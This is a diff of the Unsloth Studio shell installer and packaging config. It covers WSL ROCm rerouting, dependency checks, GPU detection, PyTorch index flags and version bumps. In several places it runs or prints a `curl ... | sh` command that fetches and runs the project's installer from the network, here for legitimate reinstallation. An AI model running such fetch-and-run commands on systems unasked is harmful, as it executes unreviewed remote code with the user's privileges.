# Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the
|
||||
# GPU instead of falling back to the desktop-app prompt path.
|
||||
[ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1"
|
||||
_rr_args=""
|
||||
[ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")"
|
||||
[ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")"
|
||||
[ "$_VERBOSE" = true ] && _rr_args="$_rr_args --verbose"
|
||||
[ "$TAURI_MODE" = true ] && _rr_args="$_rr_args --tauri"
|
||||
if [ -n "${UNSLOTH_WSL_REROUTE_CMD:-}" ]; then
|
||||
_rr_cmd="$UNSLOTH_WSL_REROUTE_CMD" # user took full control
|
||||
elif [ -n "$_rr_args" ]; then
|
||||
_rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh -s --$_rr_args"
|
||||
else
|
||||
_rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh"
|
||||
fi
|
||||
# pipefail so a failed curl in `curl | sh` isn't masked by sh exiting 0 on empty
|
||||
# input (which would wrongly report success and exit 0 the parent installer).
|
||||
_rr_rc=0
|
||||
wsl.exe -d "$_rr_target" -- bash -lc "$_rr_exports; $_rr_cmd" || _rr_rc=$?
|
||||
if [ "$_rr_rc" -eq 0 ]; then
|
||||
exit 0
|
||||
fi
|
||||
# In Tauri mode the child uses exit 2 ([TAURI:NEED_SUDO]) to ask the desktop app to
|
||||
# elevate for the target distro; the child already printed the NEED_SUDO line, so
|
||||
# propagate the code instead of masking it as a reroute failure and dropping to CPU.
|
||||
if [ "$TAURI_MODE" = true ] && [ "$_rr_rc" -eq 2 ]; then
|
||||
exit 2
|
||||
fi
|
||||
substep "Could not auto-continue in $_rr_target; run it yourself:" "$C_WARN"
|
||||
substep " wsl -d $_rr_target -- bash -lc 'curl -fsSL https://unsloth.ai/install.sh | sh'"
|
||||
substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN"
|
||||
# Reroute failed; don't let the later bootstrap install ROCm into this unsupported
|
||||
# distro -- stay CPU-only.
|
||||
UNSLOTH_SKIP_ROCM_WSL_SETUP=1
|
||||
return 0
|
||||
}
|
||||
_maybe_reroute_strixhalo_to_2404 || true
|
||||
|
||||
# ── Check system dependencies ──
|
||||
# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a
|
||||
# prebuilt by default, and setup.sh self-skips the source build when they're
|
||||
# absent -- so macOS doesn't block on cmake (requiring it would force a manual
|
||||
# Homebrew install). Linux keeps requiring them; its package manager has them.
|
||||
tauri_log "STEP" "Checking system dependencies"
|
||||
|
||||
case "$OS" in
|
||||
macos)
|
||||
# Xcode Command Line Tools provide the C/C++ compiler
|
||||
# Xcode Command Line Tools provide the C/C++ compiler and git.
|
||||
if ! xcode-select -p >/dev/null 2>&1; then
|
||||
echo ""
|
||||
echo "==> Xcode Command Line Tools are required."
|
||||
|
|
@ -1461,8 +1686,19 @@ case "$OS" in
|
|||
echo " After the installation completes, please re-run this script."
|
||||
exit 1
|
||||
fi
|
||||
# cmake is only needed for a source build; the default prebuilt path
|
||||
# doesn't use it, so its absence is not fatal -- no Homebrew prerequisite.
|
||||
if command -v cmake >/dev/null 2>&1; then
|
||||
step "deps" "all system dependencies found"
|
||||
else
|
||||
step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN"
|
||||
substep "Install cmake only if you want a source build: brew install cmake"
|
||||
fi
|
||||
;;
|
||||
linux|wsl)
|
||||
MISSING=""
|
||||
command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
|
||||
command -v git >/dev/null 2>&1 || MISSING="$MISSING git"
|
||||
# curl or wget is needed for downloads; check both
|
||||
if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then
|
||||
MISSING="$MISSING curl"
|
||||
|
|
@ -1470,27 +1706,12 @@ case "$OS" in
|
|||
command -v gcc >/dev/null 2>&1 || MISSING="$MISSING build-essential"
|
||||
# libcurl dev headers for llama.cpp HTTPS support
|
||||
command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev"
|
||||
;;
|
||||
esac
|
||||
|
||||
MISSING=$(echo "$MISSING" | sed 's/^ *//')
|
||||
|
||||
if [ -n "$MISSING" ]; then
|
||||
echo ""
|
||||
step "deps" "missing: $MISSING" "$C_WARN"
|
||||
substep "These are needed to build the GGUF inference engine."
|
||||
|
||||
case "$OS" in
|
||||
macos)
|
||||
if ! command -v brew >/dev/null 2>&1; then
|
||||
echo ""
|
||||
echo " Homebrew is required to install them."
|
||||
echo " Install Homebrew from https://brew.sh then re-run this script."
|
||||
exit 1
|
||||
fi
|
||||
brew install $MISSING </dev/null
|
||||
;;
|
||||
linux|wsl)
|
||||
MISSING=$(echo "$MISSING" | sed 's/^ *//')
|
||||
if [ -n "$MISSING" ]; then
|
||||
echo ""
|
||||
step "deps" "missing: $MISSING" "$C_WARN"
|
||||
substep "These are needed to build the GGUF inference engine."
|
||||
if command -v apt-get >/dev/null 2>&1; then
|
||||
_smart_apt_install $MISSING
|
||||
else
|
||||
|
|
@ -1505,12 +1726,12 @@ if [ -n "$MISSING" ]; then
|
|||
echo " openSUSE: sudo zypper install cmake git gcc gcc-c++ make libcurl-devel"
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
echo ""
|
||||
else
|
||||
step "deps" "all system dependencies found"
|
||||
fi
|
||||
echo ""
|
||||
else
|
||||
step "deps" "all system dependencies found"
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
||||
# ── Install uv ──
|
||||
tauri_log "STEP" "Installing uv package manager"
|
||||
|
|
@ -1527,6 +1748,21 @@ export UV_HTTP_RETRIES
|
|||
: "${UV_HTTP_TIMEOUT:=180}"
|
||||
export UV_HTTP_TIMEOUT
|
||||
|
||||
# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls.
|
||||
# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which
|
||||
# present their own CA certificate. rustls (uv's default) ignores the Keychain
|
||||
# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer".
|
||||
# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the
|
||||
# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already
|
||||
# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto
|
||||
# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0.
|
||||
if [ "$OS" = "macos" ]; then
|
||||
: "${UV_SYSTEM_CERTS:=1}"
|
||||
: "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}"
|
||||
fi
|
||||
[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS
|
||||
[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS
|
||||
|
||||
version_ge() {
|
||||
# returns 0 if $1 >= $2
|
||||
_a=$1
|
||||
|
|
@ -1814,61 +2050,6 @@ _has_amd_rocm_gpu() {
|
|||
return 1
|
||||
}
|
||||
|
||||
# ── Bounded command runner ──
|
||||
# Runs a command under a 10s timeout when the `timeout` binary is available,
|
||||
# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
|
||||
# driver init or after a reset) from hanging the installer: a timed-out probe
|
||||
# exits nonzero and is treated exactly like a failed probe. No-op semantics on
|
||||
# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
|
||||
_run_bounded() {
|
||||
if command -v timeout >/dev/null 2>&1; then
|
||||
timeout 10 "$@"
|
||||
else
|
||||
"$@"
|
||||
fi
|
||||
}
|
||||
|
||||
# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
|
||||
# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
|
||||
# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
|
||||
# var, so the probes below cannot see the distinction on their own.
|
||||
_cvd_hides_nvidia() {
|
||||
[ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
|
||||
_cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
|
||||
[ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
|
||||
}
|
||||
|
||||
# ── NVIDIA usable-GPU helper ──
|
||||
# Returns 0 (true) if an NVIDIA GPU is present and usable.
|
||||
# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
|
||||
# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
|
||||
# -- handles PATH gaps, subprocess timeouts, and driver init races that
|
||||
# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
|
||||
# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
|
||||
# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
|
||||
_has_usable_nvidia_gpu() {
|
||||
if _cvd_hides_nvidia; then
|
||||
return 1
|
||||
fi
|
||||
_nvsmi=""
|
||||
if command -v nvidia-smi >/dev/null 2>&1; then
|
||||
_nvsmi="nvidia-smi"
|
||||
elif [ -x "/usr/bin/nvidia-smi" ]; then
|
||||
_nvsmi="/usr/bin/nvidia-smi"
|
||||
fi
|
||||
if [ -n "$_nvsmi" ]; then
|
||||
if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
# Fallback: NVIDIA driver exposes one subdir per GPU under this path.
|
||||
if [ -d /proc/driver/nvidia/gpus ] && \
|
||||
[ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
# ── Detect GPU and choose PyTorch index URL ──
|
||||
# Mirrors Get-TorchIndexUrl in install.ps1.
|
||||
# On CPU-only machines this returns the cpu index, avoiding the solver
|
||||
|
|
@ -2017,9 +2198,9 @@ _expected_torch_flavor_tag() {
|
|||
esac
|
||||
}
|
||||
|
||||
# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX /
|
||||
# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX /
|
||||
# rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv
|
||||
# resolves (torch + every transitive dep) via --index-url -- the same URLs the
|
||||
# resolves (torch + every transitive dep) via --default-index -- the same URLs the
|
||||
# fresh-install paths above already use -- so a stale wheel is auto-repairable.
|
||||
# Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall.
|
||||
_torch_index_repairable() {
|
||||
|
|
@ -2182,19 +2363,19 @@ _persist_rocm_wsl_dropin() {
|
|||
fi
|
||||
}
|
||||
|
||||
# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it.
|
||||
_maybe_bootstrap_rocm_wsl() {
|
||||
[ "${OS:-}" = "wsl" ] || return 0
|
||||
[ "${SKIP_TORCH:-false}" = "false" ] || return 0
|
||||
[ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
|
||||
# Leave any already-usable GPU completely alone (NVIDIA, or working ROCm).
|
||||
if _has_usable_nvidia_gpu; then return 0; fi
|
||||
# "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the
|
||||
# generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and
|
||||
# would skip this bootstrap while the real GPU is still unusable. awk consumes
|
||||
# all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail.
|
||||
# Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000,
|
||||
# the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so
|
||||
# rocminfo isn't SIGPIPE'd like `grep -q` under pipefail.
|
||||
_ensure_rocm_probe_env
|
||||
if command -v rocminfo >/dev/null 2>&1 && \
|
||||
rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then
|
||||
rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then
|
||||
# rocminfo may work only via the transient env _ensure_rocm_probe_env
|
||||
# just set, which dies with the installer. Persist the drop-in so login
|
||||
# shells (Studio, llama.cpp) inherit it -- else a reinstall over an
|
||||
|
|
@ -2204,9 +2385,12 @@ _maybe_bootstrap_rocm_wsl() {
|
|||
fi
|
||||
# WSL GPU passthrough device must exist (present on any WSL2 GPU host).
|
||||
[ -e /dev/dxg ] || return 0
|
||||
# Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match
|
||||
# the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S").
|
||||
grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
|
||||
# Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also
|
||||
# ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.
|
||||
if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
|
||||
&& ! _wsl_amd_gpu_name >/dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
command -v bash >/dev/null 2>&1 || return 0
|
||||
|
||||
# Fast path: already configured (librocdxg present) but launched from a
|
||||
|
|
@ -2224,7 +2408,8 @@ _maybe_bootstrap_rocm_wsl() {
|
|||
fi
|
||||
|
||||
echo ""
|
||||
substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN"
|
||||
_rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU"
|
||||
substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN"
|
||||
substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."
|
||||
substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"
|
||||
|
||||
|
|
@ -2529,7 +2714,7 @@ if [ "$_MIGRATED" = true ]; then
|
|||
# to prevent transitive torch resolution.
|
||||
run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
|
||||
--reinstall-package unsloth --reinstall-package unsloth-zoo \
|
||||
"unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
|
||||
"unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2"
|
||||
# Resolve pydantic WITH deps so pip pins pydantic-core to the
|
||||
# matching version (no-torch-runtime.txt below is --no-deps).
|
||||
# All transitive deps are torch-free.
|
||||
|
|
@ -2540,9 +2725,11 @@ if [ "$_MIGRATED" = true ]; then
|
|||
run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
|
||||
fi
|
||||
else
|
||||
# Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no
|
||||
# overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
|
||||
run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
|
||||
--reinstall-package unsloth --reinstall-package unsloth-zoo \
|
||||
"unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
|
||||
"unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" ${_MLX_LM_EXCLUDE_ARG:-}
|
||||
fi
|
||||
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
|
||||
substep "overlaying local repo (editable)..."
|
||||
|
|
@ -2565,7 +2752,7 @@ if [ "$_MIGRATED" = true ]; then
|
|||
substep "repairing ROCm torch (overwritten by dependency resolution)..."
|
||||
run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
|
||||
"$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL" \
|
||||
--default-index "$TORCH_INDEX_URL" \
|
||||
--force-reinstall
|
||||
fi
|
||||
;;
|
||||
|
|
@ -2691,7 +2878,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
|
|||
substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
|
||||
run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
|
||||
"$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL"
|
||||
--default-index "$TORCH_INDEX_URL"
|
||||
else
|
||||
substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..."
|
||||
# Pass explicit wheel URLs so the matched trio is
|
||||
|
|
@ -2714,18 +2901,18 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
|
|||
substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
|
||||
run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
|
||||
"$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL"
|
||||
--default-index "$TORCH_INDEX_URL"
|
||||
fi
|
||||
else
|
||||
substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN"
|
||||
run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
|
||||
"$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL"
|
||||
--default-index "$TORCH_INDEX_URL"
|
||||
fi
|
||||
else
|
||||
substep "installing PyTorch ($TORCH_INDEX_URL)..."
|
||||
run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL"
|
||||
--default-index "$TORCH_INDEX_URL"
|
||||
fi
|
||||
# AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths).
|
||||
# Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm
|
||||
|
|
@ -2746,7 +2933,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
|
|||
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
|
||||
run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
|
||||
--upgrade-package unsloth --upgrade-package unsloth-zoo \
|
||||
"unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
|
||||
"unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2"
|
||||
# Same pydantic-with-deps trick as the migrated branch.
|
||||
run_install_cmd_retry "install pydantic (with deps for compatible core)" \
|
||||
uv pip install --python "$_VENV_PY" pydantic
|
||||
|
|
@ -2764,7 +2951,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
|
|||
fi
|
||||
elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
|
||||
run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
|
||||
--upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
|
||||
--upgrade-package unsloth "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2"
|
||||
substep "overlaying local repo (editable)..."
|
||||
run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
|
||||
substep "overlaying unsloth-zoo from git main..."
|
||||
|
|
@ -2781,7 +2968,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
|
|||
"unsloth @ git+https://github.com/unslothai/unsloth@${UNSLOTH_INSTALL_REF}" unsloth-zoo
|
||||
else
|
||||
run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
|
||||
--upgrade-package unsloth -- "$PACKAGE_NAME"
|
||||
--upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-}
|
||||
fi
|
||||
# aarch64 + NVIDIA (DGX Spark / GB10 / N1X): unsloth's x86_64-oriented cuXXX
|
||||
# extras break 4-bit QLoRA, but aarch64 manylinux wheels work (verified on
|
||||
|
|
@ -2807,7 +2994,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
|
|||
substep "repairing ROCm torch (overwritten by dependency resolution)..."
|
||||
run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
|
||||
"$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL" \
|
||||
--default-index "$TORCH_INDEX_URL" \
|
||||
--force-reinstall
|
||||
fi
|
||||
;;
|
||||
|
|
@ -2818,7 +3005,7 @@ else
|
|||
tauri_log "STEP" "Installing Unsloth"
|
||||
substep "installing unsloth (this may take a few minutes)..."
|
||||
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
|
||||
run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto
|
||||
run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.2" "unsloth>=2026.7.2" --torch-backend=auto
|
||||
substep "overlaying local repo (editable)..."
|
||||
run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
|
||||
substep "overlaying unsloth-zoo from git main..."
|
||||
|
|
@ -2842,14 +3029,14 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
|
|||
_installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
|
||||
_installed_torch_tag=""
|
||||
[ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver")
|
||||
# Repair when flavor is wrong AND the index is plain --index-url reinstallable
|
||||
# Repair when flavor is wrong AND the index is plain --default-index reinstallable
|
||||
# (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only.
|
||||
if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \
|
||||
&& [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then
|
||||
substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..."
|
||||
run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \
|
||||
"$TORCH_CONSTRAINT" torchvision torchaudio \
|
||||
--index-url "$TORCH_INDEX_URL" \
|
||||
--default-index "$TORCH_INDEX_URL" \
|
||||
--reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio
|
||||
_installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
|
||||
_installed_torch_tag=""
|
||||
|
|
@ -2860,7 +3047,7 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
|
|||
substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN"
|
||||
substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN"
|
||||
substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN"
|
||||
substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
|
||||
substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --default-index $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
|
@ -2921,6 +3108,13 @@ _run_setup_with_studio_home() {
|
|||
"$@"
|
||||
fi
|
||||
}
|
||||
if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
|
||||
if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
|
||||
echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
|
||||
exit 1
|
||||
fi
|
||||
_WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
|
||||
fi
|
||||
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
|
||||
_run_setup_with_studio_home env \
|
||||
SKIP_STUDIO_BASE="$_SKIP_BASE" \
|
||||
|
|
@ -2929,6 +3123,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
|
|||
STUDIO_LOCAL_INSTALL=1 \
|
||||
STUDIO_LOCAL_REPO="$_REPO_ROOT" \
|
||||
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
|
||||
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
|
||||
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
|
||||
else
|
||||
# Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
|
||||
|
|
@ -2943,6 +3138,7 @@ else
|
|||
STUDIO_LOCAL_INSTALL=0 \
|
||||
STUDIO_LOCAL_REPO= \
|
||||
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
|
||||
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
|
||||
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
|
||||
fi
|
||||
|
||||
|
|
@ -3056,10 +3252,11 @@ echo ""
|
|||
if [ -t 1 ]; then
|
||||
echo ""
|
||||
printf " Start Unsloth Studio now? [Y/n] "
|
||||
# No readable answer (closed/EOF tty) defaults to no; Enter is still yes.
|
||||
if [ -r /dev/tty ]; then
|
||||
read -r _reply </dev/tty || _reply="y"
|
||||
read -r _reply </dev/tty || _reply="n"
|
||||
else
|
||||
_reply="y"
|
||||
_reply="n"
|
||||
fi
|
||||
case "${_reply:-y}" in
|
||||
[Yy]*|"")
|
||||
|
|
@ -3067,8 +3264,12 @@ if [ -t 1 ]; then
|
|||
# Detach stdin from the `curl | sh` pipe: as a foreground server the
|
||||
# studio would otherwise drain the rest of this piped script, leaving
|
||||
# the shell to die parsing the now-truncated tail (`unexpected fi`).
|
||||
"$VENV_DIR/bin/unsloth" studio -p 8888 </dev/null
|
||||
_LAUNCH_EXIT=$?
|
||||
# trap '' INT: wait for studio's shutdown instead of racing the prompt.
|
||||
# Subshell resets INT so the child still gets Ctrl+C (no inherited ignore).
|
||||
trap '' INT
|
||||
# `|| ...`: capture the exit code without set -e aborting first.
|
||||
_LAUNCH_EXIT=0
|
||||
(trap - INT; exec "$VENV_DIR/bin/unsloth" studio -p 8888 </dev/null) || _LAUNCH_EXIT=$?
|
||||
if [ "$_LAUNCH_EXIT" -ne 0 ] && [ "$_MIGRATED" = true ]; then
|
||||
echo ""
|
||||
echo "⚠️ Unsloth Studio failed to start after migration."
|
||||
|
|
@ -3085,6 +3286,7 @@ if [ -t 1 ]; then
|
|||
step "launch" "to start later, run:"
|
||||
substep "unsloth studio -p 8888"
|
||||
substep "(add -H 0.0.0.0 to allow network / cloud access)"
|
||||
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
|
||||
echo ""
|
||||
;;
|
||||
esac
|
||||
|
|
@ -3106,5 +3308,6 @@ else
|
|||
substep "unsloth studio -p 8888"
|
||||
fi
|
||||
substep "(add -H 0.0.0.0 to allow network / cloud access)"
|
||||
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
|
||||
echo ""
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -47,6 +47,7 @@ studio = [
|
|||
"*.ps1",
|
||||
"*.bat",
|
||||
"scripts/*.sh",
|
||||
"node_prebuilt_pins.json",
|
||||
"frontend/dist/**/*",
|
||||
"frontend/*.json",
|
||||
"frontend/*.ts",
|
||||
|
|
@ -57,6 +58,7 @@ studio = [
|
|||
"backend/requirements/**/*",
|
||||
"backend/plugins/**/*",
|
||||
"backend/assets/**/*.jinja",
|
||||
"backend/assets/**/*.html",
|
||||
"backend/core/data_recipe/oxc-validator/*.json",
|
||||
"backend/core/data_recipe/oxc-validator/*.mjs",
|
||||
]
|
||||
|
|
@ -72,7 +74,7 @@ triton = [
|
|||
]
|
||||
|
||||
huggingfacenotorch = [
|
||||
"unsloth_zoo>=2026.6.6",
|
||||
"unsloth_zoo>=2026.7.2",
|
||||
"wheel>=0.42.0",
|
||||
"packaging",
|
||||
"numpy",
|
||||
|
|
@ -93,7 +95,7 @@ huggingfacenotorch = [
|
|||
]
|
||||
huggingface = [
|
||||
"unsloth[huggingfacenotorch]",
|
||||
"unsloth_zoo>=2026.6.6",
|
||||
"unsloth_zoo>=2026.7.2",
|
||||
"torchvision",
|
||||
"unsloth[triton]",
|
||||
]
|
||||
|
|
@ -254,10 +256,6 @@ cu118onlytorch270 = [
|
|||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)",
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)",
|
||||
